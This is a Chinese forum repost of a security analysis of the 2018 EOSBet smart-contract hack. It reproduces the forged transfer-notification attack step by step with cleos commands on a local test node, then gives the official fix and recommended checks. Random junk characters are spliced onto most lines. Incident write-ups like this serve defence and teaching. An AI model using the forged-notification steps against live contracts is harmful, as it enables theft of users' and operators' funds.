Hi 游客

更多精彩,请登录!

比特池塘 区块链技术 正文
本文所有过程均在本地测试节点完成3 P( E3 Y( i! U2 t- S* x) {6 \0 M
文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
; q- Q: d. z: U0x00 背景
8 c" T. [5 E# f: e9 ^7 n+ N4 LEOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
: ~- {& L1 q& U/ q7 j4 r9 s- g  t$ Z# s* B
0x01 技术分析- w' I- |2 y) |; x  [- P" k3 a3 E. R
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
  g+ x# G$ e( x8 @$ h' |* B// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
- u" d' x' [$ U  z8 r- T5 {: G#define EOSIO_ABI_EX( TYPE, MEMBERS ) \4 |6 C, L$ ?6 O
extern "C" { \
5 L! R, K# l& r+ ^        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \5 J! F, A  c+ a* w- \8 Y- Y; f2 r
                auto self = receiver; \
7 k7 X/ k# j. c9 e+ r  ?+ K                if( action == N(onerror)) { \/ ~, P$ r/ T" M1 u9 ?
                        /* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \
! P: }- @4 \" P' s$ }/ u8 K                        eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
4 C& ^. h, w2 s& f+ h                } \- n* Q' N; p1 L! a1 |5 R: ^: f$ U5 K
                if( code == self || code == N(eosio.token) || action == N(onerror) ) { \" r# f( |0 d& z9 m
                        TYPE thiscontract( self ); \
  I0 X. e4 a. z% ]                        switch( action ) { \! J2 ]. w3 R* e0 A. {
                                EOSIO_API( TYPE, MEMBERS ) \
2 ~3 J% ^2 s+ q                        } \
- `0 a/ l( w1 F- m! ^                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
8 Q/ r" R9 l. o2 R                } \
2 y( V3 y8 M1 d% U8 N: m$ F- v9 H$ J/ y        } \
2 a! b- _4 A' O; L}
- n# [  G- v8 q. d# _+ F通过官方给出的EOSIO_ABI,问题主要出在以下代码) S# B) {! \0 e4 u7 f& @+ x) T  |
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \+ j/ f. q2 c' O# x$ e+ n
                        TYPE thiscontract( self ); \: x9 F* h: n- l3 c( Y3 F
                        switch( action ) { \9 ]$ t/ i1 z% v8 m
                                EOSIO_API( TYPE, MEMBERS ) \
9 z# \0 \- N& F3 L                        } \
7 |' a# B1 ~9 m# K                }( L0 `" o# Z' B7 q, l  M2 Y. M
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。5 {0 I, T$ y; X/ F
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。$ I/ V. p: y' H. p0 T4 {
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。" J2 `5 D1 U$ J4 f6 R! T# [
0x02 攻击复盘
7 `3 v( g# s; g! ^# {0 r- J. @: x创建eosio.token账户% C1 J# X( v( l- p
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV( e5 d) S3 t6 s/ e# C7 ]& s6 y! ~
部署eosio.token合约并初始化
, E; ]7 H1 w7 j' S, k# 部署合约* o5 T2 T% k4 Z" X6 m
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
. `9 S  O6 |1 a# 初始化合约
' T9 O6 g3 `& [- g# U0 K$ Ccleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token
2 i* N; w( C# d( A& g4 ^创建游戏账户、开奖账户和攻击者账户
0 W) e. w, H7 K9 V9 i#创建游戏账户和开奖账户
7 c! P4 c5 J* \+ W, scleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
4 M  q  _7 o$ X$ Z) b$ Fcleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk, b$ v5 O5 u; v  I# x2 u$ \9 `+ n/ w
#创建攻击者账户
# [$ O( p) n  I: Qcleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk0 h$ N/ G. S5 i2 A, n: z) L! v
设置账户随机权限和开奖权限4 j4 U/ m7 Q2 p8 Y
#设置权限
' i3 `9 q+ t+ Hcleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner
* r( S  V, w. l( h( O- u% Pcleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner3 ?' Q8 Q7 ?; @& q6 ~" \, n7 O
#设置开奖权限( l, H6 ?+ ~- A# q
cleos set action permission eosbetcasino eosbetdice11 resolvebet random- l; w& O! b! O7 W" u
向相关账户冲入代币+ v# `! ]$ J% y/ E& L
#往相关账户充值! ]4 _+ f! c6 {) y
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active
$ D7 j7 K, t5 M; f5 Wcleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active
5 l# c9 W  u# X6 h& n2 ]" |0 m3 |![4.png]()
0 H5 K; B  o) M2 B3 o* t部署游戏合约并初始化
* b5 E9 T2 u1 G* I#部署游戏合约1 \1 h8 Q! U- K- G: c6 R, W/ R; H- s1 B
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice' B) |! I' m: j) R7 N
#初始化游戏合约: H8 n$ B0 `8 e
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino+ v1 ~) Y+ C# m% F
模拟黑客攻击(伪造转账通知)
% X& |( P& P5 O6 i$ d, i' ycleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker- O: U" Y% X/ ~
查询游戏订单
9 `/ i2 B& r/ f) A9 S7 Fcleos get table eosbetdice11 eosbetdice11 activebets
+ q8 P1 L. M" `; m9 {, n- k
0 s) n+ W# f: E4 a可见,游戏订单已经生成,查询attacker和eosbetdice11账户1 t$ j) O7 h: r
; |' }0 N! i7 ?" d
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
; W4 Q. I8 Z! I( z最后对该订单进行开奖。& l/ h* `7 L9 O
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random
1 }+ t; i9 D2 Y# J1 ^
2 i- q" |( k  A; o总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。% U3 [  o. a+ d- j. |
0x03 后记
! Z9 s. q. [0 \7 MEOSBet随后将修复方案公开: G& \8 |4 H5 w
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers
9 q6 K1 [# w5 R3 Z) Z#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
% D+ ]2 U& Z% Y) b; K" N1 f' b7 V- jextern "C" { \
* k5 ^- |8 E* z; v% A# n; `        void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
$ P# U6 {/ B* F                auto self = receiver; \
! P9 g& ?+ `5 d3 Q                if( code == self || code == N(eosio.token)) { \# k. z8 D; o; H. ^$ ^5 d
                        if( action == N(transfer)){ \
& a" a% s* [0 ^5 W                                // 必须是eosio.token来调用合约自身的transfer函数. {7 D6 d  j. b# X( d- N. \
                                eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
- Q% w! m) B- C* s# w5 Q                        } \8 {- j2 e. k. F( s, P, t3 H
                        TYPE thiscontract( self ); \! @  d! @' L4 ^% G7 }- _  A
                        switch( action ) { \$ ]& E& v; Q) a* M. g; P0 }( V
                                EOSIO_API( TYPE, MEMBERS ) \% i; J2 O7 m7 F$ ~* K7 u2 {
                        } \
& D! N3 |* B4 \7 ?                /* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
% R% f+ S1 v1 ~8 y8 ]& t$ s                } \2 V+ t( n6 a. T% b1 z- k  o
        } \1 f  j9 Q7 ~; q- E- s
}
# C3 p2 Z( A+ u) l  i可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
& K8 u! e+ L8 _8 r6 X0x04 修复方案: W. s2 N+ |; h$ `/ w; `
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:( I9 G5 c. s6 W3 S

2 `/ S" d' w# a" ~. `7 A! F$ ^2 n, F  M通知是否来自eosio.token,即只处理eosio.token发送的通知
2 I7 e0 O  z3 N. Q+ |! ]eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");0 b8 u6 w& V! Z6 G7 O3 x  M

0 M3 n# Z: F( _转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知# I9 H8 l$ N8 D8 V- Q
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");
BitMere.com 比特池塘系信息发布平台,比特池塘仅提供信息存储空间服务。
声明:该文观点仅代表作者本人,本文不代表比特池塘立场,且不构成建议,请谨慎对待。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

成为第一个吐槽的人

蓝天天使2017 初中生
  • 粉丝

    0

  • 关注

    0

  • 主题

    10